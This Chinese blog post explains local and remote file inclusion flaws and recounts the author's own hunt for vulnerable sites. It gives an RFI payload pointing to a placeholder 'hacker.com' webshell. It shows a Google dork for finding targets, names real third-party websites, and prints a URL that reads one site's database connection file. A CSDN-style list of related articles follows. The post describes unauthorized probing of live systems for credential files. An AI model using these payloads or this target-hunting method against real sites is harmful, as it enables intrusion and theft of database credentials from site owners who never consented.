    首先,本地文件包含就是通过浏览器引进(包含)Web服务器上的文件,这种漏洞一般发生在浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行(比如:asp?file=index.html)。

    其次,远程文件简称RFI,该漏洞允许攻击者包含一个远程的文件,一般是远程服务器上的预先设置好的脚本,这种漏洞是由于浏览器对于用户输入没有进行检测,导致不同程度的信息泄露、拒绝服务攻击甚至在目标服务器上执行代码(比如:asp?file=http://www.hacker.com/webshell/shell.asp)。

    2、文件包含漏洞的危害

    这类漏洞看起来貌似并不严重,一旦被恶意利用则会带来很大的危害。本地文件包含不仅能够包含web文件目录中的一些配置文件(比如Web应用、数据库配置文件、config文件),还可以查看到一些Web动态页面的源代码,为攻击者进一步发掘web应用漏洞提供条件,甚至一旦与路径遍历漏洞相结合,还可能直接攫取目标系统的用户名与密码等文件。

    3、纸上得来终觉浅,绝知此事要躬行

    我们同样利用google关键词搜索找到可能含有文件包含的漏洞:inurl:php?file=

    尼玛,现在的网站基本上把file当成是数据库参数,找到sql注入的倒是不少


    4、再找找

    http://www.adlinktech.com/cn/contact_us/contactus.php?file=contactus.htm

    这个试了下不行,估计对字符进行了过滤

    哈哈,下午又没事重新找了下发现:http://www.sccy.cn/doc_template.asp?file=/01/014433-201110022.htm

    直接跑出来本地asp文件。

    5、wwwscan扫描网站目录:

    6、直接查看本地连接数据库文件/admin/conn.asp

    view-source:http://www.sccy.cn/doc_template.asp?file=/admin/conn.asp

    其实这也不是严格意义的文件包含,因为只是读取


    展开全文
  • 3、元素允许包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。 4、如果文件仅是静态文件,可以直接利用包含进去,如果是txt文件,最好把文件格式改成jsp文件然后包含进去就...
  • IKEA.com中的本地文件包含

    千次阅读 2019-01-15 23:03:54
    翻译:聂心明 你想参加私有众测?我很乐意邀请你,请联系我Jonathan@Protozoan.nl ...通过本地文件包含攻击(LFI),你可以拿到服务器中的敏感文件。比如,配置文件,日志文件和网站的源代码。有时,你甚至会导致远程...
  • 网页文件包含漏洞(file inclusion)

    万次阅读 2019-03-27 22:20:14
    web php 文件包含漏洞是“代码注入“的一...常见的导致文件包含的函数如下: PHP: include(), include_once(), require(),require_once, fopen(), readfile() …. JSP/Servlet: ava.io.File(),java.io.FileReader(...
  • 文件包含漏洞(完整版)

    万次阅读 多人点赞 2018-09-08 12:29:55
    0×01 文件包含简介 服务器执行PHP文件时,可以通过文件...当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。 文...
  • 包含文件包含漏洞(2)PHP中文件包含的函数(3)文件包含的特征(4)要想成功利漏洞,需的条件(5)本地文件包含(6)远程文件包含二,常用的本地文件绝对路径 一,原理和定义 (1). 包含文件包含漏洞 包含:开发人员通常...
  • persistence.hpp : warning C4819: 该文件包含不当前代码页(936)中表示的字符。请将该文件保存为 Unicode 格式以防止数据丢失 utility.hpp : warning C4819: 该文件包含不当前代码页(936)中表示的字符。...
  • 我又回来更新了,这次是关于web方面的文件包含漏洞.我会后面以详细的角度来写清楚这个漏洞的利用方法. 当然,以下都是我自己的理解,表述什么的都有些野人化了.所以希望各位大佬手下留情. 一.漏洞产生的原因 这个...
  • 包含页面"%&gt;和动态包含:&lt;jsp:include page="被包含页面"flush="true"&gt;。下面以一个例子来说明如何使用包含。 实例: 项目文件树: header.jsp文件中内容:...
  • PHP文件包含漏洞总结

    千次阅读 2016-06-03 20:08:34
    PHP文件包含漏洞的产生原因是通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。最常见的就属于本地文件包含(Local File ...
  • CTF——Web——文件包含漏洞

    万次阅读 多人点赞 2019-08-19 17:18:53
    文件包含漏洞的产生原因是通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。 php 中引发文件包含漏洞的通常是以下四个...
  • 2、如果一个页面中全部都是HTML代码而没有需要解析的PHP语法,则没有必要保存为PHP文件,这样反而会降低运行效率。 3、如果是需要PHP控制HTML代码的输出,比如需要PHP判断用户是否登陆,如果登陆则输出A,未登录则...
  • ASP包含文件#include 方法详解

    千次阅读 2006-03-07 14:30:00
    SSI 指令为用户提供 Web 服务器处理之前将一个文件的内容插入到另一个文件的方法。ASP 只使用这一机制的 #include 指令。... 被包含文件不要求专门的文件扩展名;但是,为被包含文件赋予 .inc 扩展名
  • jspsmart很多人都用过,高手也是如云滴... 如果想走后台action,直接使用jsp来完成文件的上传下载,jspsmart是最好的工具了。这里我就开始才从文件的上传开始讲起吧! 1、网上下载一个jspsmart.jar,并放入工程的
  • [web安全] 文件包含漏洞

    万次阅读 2015-05-24 16:05:26
    文件包含可能会出现JSP、PHP、ASP等语言中。 PHP常见的导致文件包含的函数如下:include(),include_once(),require(),require_once(),fopen(),readfile() 当使用前4个函数包含一个新的文件时,该文件将作为PH
  • PHP文件包含漏洞攻防实战

    千次阅读 2014-04-09 12:51:51
    摘要:本文对PHP文件包含漏洞的形成、利用技巧及防范进行了详细分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell。 本文对PHP文件包含漏洞的形成、...
  • 文件包含漏洞(绕过姿势)

    千次阅读 2018-08-18 23:07:52
    今日逛Tools论坛时,发现了一种新型的文件包含姿势,此记录分享,并附上一些文件包含漏洞的基础利用姿势。 特殊姿势  利用phar://协议特性可以渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 ...
  • 应项目需求要把PDF内嵌到网页中显示,其中有了很多办法,比如用元素放入PDF文件,但是效果理想,浏览器兼容理想,ie9/8(其他版本没有测试)显示会提示下载pdf文件。当然这不是我想要的效果,这种做法可以轻易...
  • 1、UI布局: (1)添加图片位的div:   (2)文件显示的模板布局(重点):
  • 使用Struts2的文件上传时,文件大小和类型过滤后,页面无法跳转至input页面struts.xml配置文件如下: image/bmp,image/png,image/gif,image/jpeg,image/jpg ,image/x-png, image/pjpeg
  • Bootstrap File Input,最好用的文件上传组件

    万次阅读 多人点赞 2016-01-29 16:33:22
    本篇介绍如何使用bootstrap fileinput.js(最好用的文件上传组件)来进行图片的展示,上传,包括springMVC后端文件保存。
  • 今天介绍的是针对访问html页面时出现此类错误的处理办法,如果你的问题...我们可以理解为当前IIS服务器上,html页面只支持get请求,支持post请求。 2、处理办法 登陆远程服务器,打开IIS管理工具,选择出现此问题
  • object、param标签及页面显示PDF文件的方法   一、object、param标签  HTML 标签 定义和用法 定义一个嵌入的对象。请使用此元素向您的 XHTML 页面添加多媒体。此元素允许您规定插入 HTML 文档中的对象的数据...
  • 上一篇文章里我们介绍了 如何
  • 最近项目扫描的时候遇到一个问题,需要tomcat中限制对包含项目信息文件的访问,是因为我用的是hbuilder编译器,会自动生成一个.project文件,这个文件里面包含了项目的关键信息,而且能删除,于是只能对这个文件...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 334,757
精华内容 133,902
关键字:

不允许在包含页面文件